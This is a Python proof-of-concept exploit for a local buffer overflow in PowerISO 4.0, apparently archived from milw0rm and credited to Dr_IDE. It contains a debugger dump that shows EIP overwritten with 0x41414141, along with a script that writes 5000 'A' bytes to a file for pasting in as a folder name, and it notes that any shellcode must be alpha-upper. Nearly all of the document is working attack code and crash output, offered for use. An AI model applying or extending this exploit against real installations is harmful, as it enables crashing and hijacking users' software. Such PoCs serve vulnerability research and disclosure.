53 lines
No EOL
1.7 KiB
Python
Executable file
53 lines
No EOL
1.7 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
####################################################################################
|
|
#
|
|
# Poweriso 4.0 Local Buffer Overflow PoC
|
|
# Found By: Dr_IDE
|
|
# Tested On: XPSP3
|
|
# Usage: Create New ISO, Add a New Folder, Paste to Rename Folder, Click Save
|
|
# Notes: This must have been fixed somewhere between 4.0 and 4.7
|
|
#
|
|
####################################################################################
|
|
|
|
'''
|
|
EAX 00ADDDC0
|
|
ECX 00000000
|
|
EDX 00004000
|
|
EBX 00000000
|
|
ESP 0211FA6C ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~0"
|
|
EBP 00000000
|
|
ESI 0211FA20
|
|
EDI 00ADC2F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
EIP 41414141
|
|
C 0 ES 0023 32bit 0(FFFFFFFF)
|
|
P 0 CS 001B 32bit 0(FFFFFFFF)
|
|
A 0 SS 0023 32bit 0(FFFFFFFF)
|
|
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
|
S 0 FS 003B 32bit 7FFD5000(FFF)
|
|
T 0 GS 0000 NULL
|
|
D 0
|
|
O 0 LastErr ERROR_SUCCESS (00000000)
|
|
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
|
|
ST0 empty +UNORM 3C0A 0012EBE8 00000000
|
|
ST1 empty -UNORM F674 00000000 0000000C
|
|
ST2 empty 3.3165366670546675450e-4932
|
|
ST3 empty 0.0000000000019151440e-4933
|
|
ST4 empty 3.3165367202851109490e-4932
|
|
ST5 empty +UNORM 0001 0012F674 00000000
|
|
ST6 empty +UNORM 000C 000B0418 7E418734
|
|
ST7 empty -UNORM ABCD 7E43E577 0012F674
|
|
3 2 1 0 E S P U O Z D I
|
|
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
|
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
|
|
'''
|
|
|
|
# Shellcode must be Alpha Upper
|
|
|
|
buff = ("\x41" * 5000)
|
|
|
|
f1 = open("poweriso.txt","w")
|
|
f1.write(buff)
|
|
f1.close()
|
|
|
|
# milw0rm.com [2009-09-14] |